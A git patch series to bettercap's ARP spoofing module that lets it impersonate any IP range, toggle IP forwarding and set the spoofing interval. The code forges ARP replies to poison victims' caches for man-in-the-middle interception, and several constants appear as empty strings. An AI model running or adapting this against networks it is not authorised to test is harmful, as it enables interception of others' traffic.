From 0759ecbc0d0aa3cd032ec04c44abcd6e7ba00aaf Mon Sep 17 00:00:00 2001 From: pviossat <23701489+pviossat@users.noreply.github.com> Date: Fri, 10 Sep 2021 15:12:22 +0200 Subject: [PATCH 1/3] new: arp spoof can usurpate any ip address, ip forwarding can be disabled --- modules/arp_spoof/arp_spoof.go | 73 ++++++++++++++++++++-------------- session/module_param.go | 7 +++- 2 files changed, 49 insertions(+), 31 deletions(-) diff --git a/modules/arp_spoof/arp_spoof.go b/modules/arp_spoof/arp_spoof.go index 94aa7754..76175449 100644 --- a/modules/arp_spoof/arp_spoof.go +++ b/modules/arp_spoof/arp_spoof.go @@ -10,8 +10,6 @@ import ( "github.com/bettercap/bettercap/network" "github.com/bettercap/bettercap/packets" "github.com/bettercap/bettercap/session" - - "github.com/malfunkt/iprange" ) type ArpSpoofer struct { @@ -20,10 +18,12 @@ type ArpSpoofer struct { macs []net.HardwareAddr wAddresses []net.IP wMacs []net.HardwareAddr + uAdresses []net.IP fullDuplex bool internal bool ban bool skipRestore bool + forward bool waitGroup *sync.WaitGroup } @@ -34,10 +34,12 @@ func NewArpSpoofer(s *session.Session) *ArpSpoofer { macs: make([]net.HardwareAddr, 0), wAddresses: make([]net.IP, 0), wMacs: make([]net.HardwareAddr, 0), + uAdresses: make([]net.IP, 0), ban: false, internal: false, fullDuplex: false, skipRestore: false, + forward: true, waitGroup: &sync.WaitGroup{}, } @@ -47,6 +49,8 @@ func NewArpSpoofer(s *session.Session) *ArpSpoofer { mod.AddParam(session.NewStringParameter("arp.spoof.whitelist", "", "", "Comma separated list of IP addresses, MAC addresses or aliases to skip while spoofing.")) + mod.AddParam((session.NewStringParameter("arp.spoof.usurpate", session.ParamGatewayAddress, "", "IP addresses to usurpate, also supports nmap style IP ranges."))) + mod.AddParam(session.NewBoolParameter("arp.spoof.internal", "false", "If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the external network.")) @@ -69,6 +73,10 @@ func NewArpSpoofer(s *session.Session) *ArpSpoofer { } }) + mod.AddParam(session.NewBoolParameter("arp.spoof.forwarding", + "true", + "If set to true, IP forwarding will be enabled.")) + mod.AddHandler(session.NewModuleHandler("arp.spoof on", "", "Start ARP spoofer.", func(args []string) error { @@ -113,29 +121,43 @@ func (mod *ArpSpoofer) Configure() error { var err error var targets string var whitelist string + var uTargets string if err, mod.fullDuplex = mod.BoolParam("arp.spoof.fullduplex"); err != nil { return err } else if err, mod.internal = mod.BoolParam("arp.spoof.internal"); err != nil { return err + } else if err, mod.forward = mod.BoolParam("arp.spoof.forwarding"); err != nil { + return err } else if err, targets = mod.StringParam("arp.spoof.targets"); err != nil { return err } else if err, whitelist = mod.StringParam("arp.spoof.whitelist"); err != nil { return err + } else if err, uTargets = mod.StringParam("arp.spoof.usurpate"); err != nil { + return err } else if mod.addresses, mod.macs, err = network.ParseTargets(targets, mod.Session.Lan.Aliases()); err != nil { return err } else if mod.wAddresses, mod.wMacs, err = network.ParseTargets(whitelist, mod.Session.Lan.Aliases()); err != nil { return err + } else if mod.uAdresses, _, err = network.ParseTargets(uTargets, nil); err != nil { + return err } - mod.Debug(" addresses=%v macs=%v whitelisted-addresses=%v whitelisted-macs=%v", mod.addresses, mod.macs, mod.wAddresses, mod.wMacs) + mod.Debug(" addresses=%v macs=%v whitelisted-addresses=%v whitelisted-macs=%v usurpate-addresses=%v", mod.addresses, mod.macs, mod.wAddresses, mod.wMacs, mod.uAdresses) if mod.ban { mod.Warning("running in ban mode, forwarding not enabled!") mod.Session.Firewall.EnableForwarding(false) - } else if !mod.Session.Firewall.IsForwardingEnabled() { + } else if mod.forward { mod.Info("enabling forwarding") - mod.Session.Firewall.EnableForwarding(true) + if !mod.Session.Firewall.IsForwardingEnabled() { + mod.Session.Firewall.EnableForwarding(true) + } + } else { + mod.Warning("forwarding is disabled") + if mod.Session.Firewall.IsForwardingEnabled() { + mod.Session.Firewall.EnableForwarding(false) + } } return nil @@ -153,17 +175,9 @@ func (mod *ArpSpoofer) Start() error { } return mod.SetRunning(true, func() { - neighbours := []net.IP{} + nUsurpate := len(mod.uAdresses) - if mod.internal { - list, _ := iprange.ParseList(mod.Session.Interface.CIDR()) - neighbours = list.Expand() - nNeigh := len(neighbours) - 2 - - mod.Warning("arp spoofer started targeting %d possible network neighbours of %d targets.", nNeigh, nTargets) - } else { - mod.Info("arp spoofer started, probing %d targets.", nTargets) - } + mod.Info("arp spoofer started targeting %d addresses, probing %d targets.", nUsurpate, nTargets) if mod.fullDuplex { mod.Warning("full duplex spoofing enabled, if the router has ARP spoofing mechanisms, the attack will fail.") @@ -172,12 +186,10 @@ func (mod *ArpSpoofer) Start() error { mod.waitGroup.Add(1) defer mod.waitGroup.Done() - gwIP := mod.Session.Gateway.IP myMAC := mod.Session.Interface.HW for mod.Running() { - mod.arpSpoofTargets(gwIP, myMAC, true, false) - for _, address := range neighbours { - if !mod.Session.Skip(address) { + for _, address := range mod.uAdresses { + if net.IP.Equal(address, mod.Session.Gateway.IP) || !mod.Session.Skip(address) { mod.arpSpoofTargets(address, myMAC, true, false) } } @@ -191,16 +203,13 @@ func (mod *ArpSpoofer) unSpoof() error { if !mod.skipRestore { nTargets := len(mod.addresses) + len(mod.macs) mod.Info("restoring ARP cache of %d targets.", nTargets) - mod.arpSpoofTargets(mod.Session.Gateway.IP, mod.Session.Gateway.HW, false, false) - if mod.internal { - list, _ := iprange.ParseList(mod.Session.Interface.CIDR()) - neighbours := list.Expand() - for _, address := range neighbours { - if !mod.Session.Skip(address) { - if realMAC, err := mod.Session.FindMAC(address, false); err == nil { - mod.arpSpoofTargets(address, realMAC, false, false) - } + for _, address := range mod.uAdresses { + if net.IP.Equal(address, mod.Session.Gateway.IP) || !mod.Session.Skip(address) { + if realMAC, err := mod.Session.FindMAC(address, false); err == nil { + mod.arpSpoofTargets(address, realMAC, false, false) + } else { + mod.Warning("cannot find mac address for %s, cannot restore", address.String()) } } } @@ -294,6 +303,12 @@ func (mod *ArpSpoofer) arpSpoofTargets(saddr net.IP, smac net.HardwareAddr, chec continue } + if bytes.Equal(smac, ourHW) { + mod.Debug("telling %s (%s) we are %s", ip, mac, saddr.String()) + } else { + mod.Debug("telling %s (%s) %s is %s", ip, mac, smac, saddr.String()) + } + rawIP := net.ParseIP(ip) if err, pkt := packets.NewARPReply(saddr, smac, rawIP, mac); err != nil { mod.Error("error while creating ARP spoof packet for %s: %s", ip, err) @@ -308,7 +323,7 @@ func (mod *ArpSpoofer) arpSpoofTargets(saddr net.IP, smac net.HardwareAddr, chec if isSpoofing { mod.Debug("telling the gw we are %s", ip) - // we told the target we're te gateway, not let's tell the + // we told the target we're the gateway, now let's tell the // gateway that we are the target if err, gwPacket = packets.NewARPReply(rawIP, ourHW, gwIP, gwHW); err != nil { mod.Error("error while creating ARP spoof packet: %s", err) diff --git a/session/module_param.go b/session/module_param.go index b11bbfaa..9cc9f7d3 100644 --- a/session/module_param.go +++ b/session/module_param.go @@ -98,6 +98,7 @@ const ParamIfaceAddress6 = "" const ParamIfaceMac = "" const ParamSubnet = "" const ParamRandomMAC = "" +const ParamGatewayAddress = "" var ParamIfaceNameParser = regexp.MustCompile("<([a-zA-Z0-9]{2,16})>") @@ -117,10 +118,12 @@ func (p ModuleParam) parse(s *Session, v string) string { hw := make([]byte, 6) rand.Read(hw) v = net.HardwareAddr(hw).String() + case ParamGatewayAddress: + v = s.Gateway.IpAddress default: // check the case - if m := ParamIfaceNameParser.FindStringSubmatch(v); len(m) == 2 { - // does it match any interface? + if m := ParamIfaceNameParser.FindStringSubmatch(v); len(m) == 2 { + // does it match any interface? name := m[1] if iface, err := net.InterfaceByName(name); err == nil { if addrs, err := iface.Addrs(); err == nil { From 5ae08604854fe196bd62cf8dc7d5f6c74eae2d8c Mon Sep 17 00:00:00 2001 From: pviossat <23701489+pviossat@users.noreply.github.com> Date: Fri, 10 Sep 2021 15:32:29 +0200 Subject: [PATCH 2/3] refact: remove internal parameter --- modules/arp_spoof/arp_spoof.go | 8 -------- 1 file changed, 8 deletions(-) diff --git a/modules/arp_spoof/arp_spoof.go b/modules/arp_spoof/arp_spoof.go index 76175449..368d94eb 100644 --- a/modules/arp_spoof/arp_spoof.go +++ b/modules/arp_spoof/arp_spoof.go @@ -20,7 +20,6 @@ type ArpSpoofer struct { wMacs []net.HardwareAddr uAdresses []net.IP fullDuplex bool - internal bool ban bool skipRestore bool forward bool @@ -36,7 +35,6 @@ func NewArpSpoofer(s *session.Session) *ArpSpoofer { wMacs: make([]net.HardwareAddr, 0), uAdresses: make([]net.IP, 0), ban: false, - internal: false, fullDuplex: false, skipRestore: false, forward: true, @@ -51,10 +49,6 @@ func NewArpSpoofer(s *session.Session) *ArpSpoofer { mod.AddParam((session.NewStringParameter("arp.spoof.usurpate", session.ParamGatewayAddress, "", "IP addresses to usurpate, also supports nmap style IP ranges."))) - mod.AddParam(session.NewBoolParameter("arp.spoof.internal", - "false", - "If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the external network.")) - mod.AddParam(session.NewBoolParameter("arp.spoof.fullduplex", "false", "If true, both the targets and the gateway will be attacked, otherwise only the target (if the router has ARP spoofing protections in place this will make the attack fail).")) @@ -125,8 +119,6 @@ func (mod *ArpSpoofer) Configure() error { if err, mod.fullDuplex = mod.BoolParam("arp.spoof.fullduplex"); err != nil { return err - } else if err, mod.internal = mod.BoolParam("arp.spoof.internal"); err != nil { - return err } else if err, mod.forward = mod.BoolParam("arp.spoof.forwarding"); err != nil { return err } else if err, targets = mod.StringParam("arp.spoof.targets"); err != nil { From 19f23a9e4c8a7f4cf3b7b77e81635d819e63e65f Mon Sep 17 00:00:00 2001 From: pviossat <23701489+pviossat@users.noreply.github.com> Date: Fri, 5 Jan 2024 16:31:19 +0100 Subject: [PATCH 3/3] new: allow to change spoofing interval --- modules/arp_spoof/arp_spoof.go | 65 ++++++++++++++++------------------ 1 file changed, 30 insertions(+), 35 deletions(-) diff --git a/modules/arp_spoof/arp_spoof.go b/modules/arp_spoof/arp_spoof.go index 368d94eb..eff2169d 100644 --- a/modules/arp_spoof/arp_spoof.go +++ b/modules/arp_spoof/arp_spoof.go @@ -14,30 +14,30 @@ import ( type ArpSpoofer struct { session.SessionModule - addresses []net.IP - macs []net.HardwareAddr + tAddresses []net.IP + tMacs []net.HardwareAddr wAddresses []net.IP wMacs []net.HardwareAddr - uAdresses []net.IP + sAdresses []net.IP fullDuplex bool - ban bool skipRestore bool forward bool + intervalMs int waitGroup *sync.WaitGroup } func NewArpSpoofer(s *session.Session) *ArpSpoofer { mod := &ArpSpoofer{ SessionModule: session.NewSessionModule("arp.spoof", s), - addresses: make([]net.IP, 0), - macs: make([]net.HardwareAddr, 0), + tAddresses: make([]net.IP, 0), + tMacs: make([]net.HardwareAddr, 0), wAddresses: make([]net.IP, 0), wMacs: make([]net.HardwareAddr, 0), - uAdresses: make([]net.IP, 0), - ban: false, + sAdresses: make([]net.IP, 0), fullDuplex: false, skipRestore: false, forward: true, + intervalMs: 1000, waitGroup: &sync.WaitGroup{}, } @@ -47,7 +47,7 @@ func NewArpSpoofer(s *session.Session) *ArpSpoofer { mod.AddParam(session.NewStringParameter("arp.spoof.whitelist", "", "", "Comma separated list of IP addresses, MAC addresses or aliases to skip while spoofing.")) - mod.AddParam((session.NewStringParameter("arp.spoof.usurpate", session.ParamGatewayAddress, "", "IP addresses to usurpate, also supports nmap style IP ranges."))) + mod.AddParam((session.NewStringParameter("arp.spoof.spoofed", session.ParamGatewayAddress, "", "IP addresses to spoof, also supports nmap style IP ranges."))) mod.AddParam(session.NewBoolParameter("arp.spoof.fullduplex", "false", @@ -71,19 +71,16 @@ func NewArpSpoofer(s *session.Session) *ArpSpoofer { "true", "If set to true, IP forwarding will be enabled.")) + mod.AddParam(session.NewIntParameter("arp.spoof.interval", + "1000", + "Spoofing time interval.")) + mod.AddHandler(session.NewModuleHandler("arp.spoof on", "", "Start ARP spoofer.", func(args []string) error { return mod.Start() })) - mod.AddHandler(session.NewModuleHandler("arp.ban on", "", - "Start ARP spoofer in ban mode, meaning the target(s) connectivity will not work.", - func(args []string) error { - mod.ban = true - return mod.Start() - })) - mod.AddHandler(session.NewModuleHandler("arp.spoof off", "", "Stop ARP spoofer.", func(args []string) error { @@ -115,32 +112,31 @@ func (mod *ArpSpoofer) Configure() error { var err error var targets string var whitelist string - var uTargets string + var sTargets string if err, mod.fullDuplex = mod.BoolParam("arp.spoof.fullduplex"); err != nil { return err } else if err, mod.forward = mod.BoolParam("arp.spoof.forwarding"); err != nil { return err + } else if err, mod.intervalMs = mod.IntParam("arp.spoof.interval"); err != nil { + return err } else if err, targets = mod.StringParam("arp.spoof.targets"); err != nil { return err } else if err, whitelist = mod.StringParam("arp.spoof.whitelist"); err != nil { return err - } else if err, uTargets = mod.StringParam("arp.spoof.usurpate"); err != nil { + } else if err, sTargets = mod.StringParam("arp.spoof.spoofed"); err != nil { return err - } else if mod.addresses, mod.macs, err = network.ParseTargets(targets, mod.Session.Lan.Aliases()); err != nil { + } else if mod.tAddresses, mod.tMacs, err = network.ParseTargets(targets, mod.Session.Lan.Aliases()); err != nil { return err } else if mod.wAddresses, mod.wMacs, err = network.ParseTargets(whitelist, mod.Session.Lan.Aliases()); err != nil { return err - } else if mod.uAdresses, _, err = network.ParseTargets(uTargets, nil); err != nil { + } else if mod.sAdresses, _, err = network.ParseTargets(sTargets, mod.Session.Lan.Aliases()); err != nil { return err } - mod.Debug(" addresses=%v macs=%v whitelisted-addresses=%v whitelisted-macs=%v usurpate-addresses=%v", mod.addresses, mod.macs, mod.wAddresses, mod.wMacs, mod.uAdresses) + mod.Debug(" addresses=%v macs=%v whitelisted-addresses=%v whitelisted-macs=%v spoofed-addresses=%v", mod.tAddresses, mod.tMacs, mod.wAddresses, mod.wMacs, mod.sAdresses) - if mod.ban { - mod.Warning("running in ban mode, forwarding not enabled!") - mod.Session.Firewall.EnableForwarding(false) - } else if mod.forward { + if mod.forward { mod.Info("enabling forwarding") if !mod.Session.Firewall.IsForwardingEnabled() { mod.Session.Firewall.EnableForwarding(true) @@ -160,16 +156,16 @@ func (mod *ArpSpoofer) Start() error { return err } - nTargets := len(mod.addresses) + len(mod.macs) + nTargets := len(mod.tAddresses) + len(mod.tMacs) if nTargets == 0 { mod.Warning("list of targets is empty, module not starting.") return nil } return mod.SetRunning(true, func() { - nUsurpate := len(mod.uAdresses) + nSpoofed := len(mod.sAdresses) - mod.Info("arp spoofer started targeting %d addresses, probing %d targets.", nUsurpate, nTargets) + mod.Info("arp spoofer started spoofing %d addresses, probing %d targets.", nSpoofed, nTargets) if mod.fullDuplex { mod.Warning("full duplex spoofing enabled, if the router has ARP spoofing mechanisms, the attack will fail.") @@ -180,23 +176,23 @@ func (mod *ArpSpoofer) Start() error { myMAC := mod.Session.Interface.HW for mod.Running() { - for _, address := range mod.uAdresses { + for _, address := range mod.sAdresses { if net.IP.Equal(address, mod.Session.Gateway.IP) || !mod.Session.Skip(address) { mod.arpSpoofTargets(address, myMAC, true, false) } } - time.Sleep(1 * time.Second) + time.Sleep(time.Duration(mod.intervalMs) * time.Millisecond) } }) } func (mod *ArpSpoofer) unSpoof() error { if !mod.skipRestore { - nTargets := len(mod.addresses) + len(mod.macs) + nTargets := len(mod.tAddresses) + len(mod.tMacs) mod.Info("restoring ARP cache of %d targets.", nTargets) - for _, address := range mod.uAdresses { + for _, address := range mod.sAdresses { if net.IP.Equal(address, mod.Session.Gateway.IP) || !mod.Session.Skip(address) { if realMAC, err := mod.Session.FindMAC(address, false); err == nil { mod.arpSpoofTargets(address, realMAC, false, false) @@ -216,7 +212,6 @@ func (mod *ArpSpoofer) Stop() error { return mod.SetRunning(false, func() { mod.Info("waiting for ARP spoofer to stop ...") mod.unSpoof() - mod.ban = false mod.waitGroup.Wait() }) } @@ -241,7 +236,7 @@ func (mod *ArpSpoofer) getTargets(probe bool) map[string]net.HardwareAddr { targets := make(map[string]net.HardwareAddr) // add targets specified by IP address - for _, ip := range mod.addresses { + for _, ip := range mod.tAddresses { if mod.Session.Skip(ip) { continue } @@ -251,7 +246,7 @@ func (mod *ArpSpoofer) getTargets(probe bool) map[string]net.HardwareAddr { } } // add targets specified by MAC address - for _, hw := range mod.macs { + for _, hw := range mod.tMacs { if ip, err := network.ArpInverseLookup(mod.Session.Interface.Name(), hw.String(), false); err == nil { if mod.Session.Skip(net.ParseIP(ip)) { continue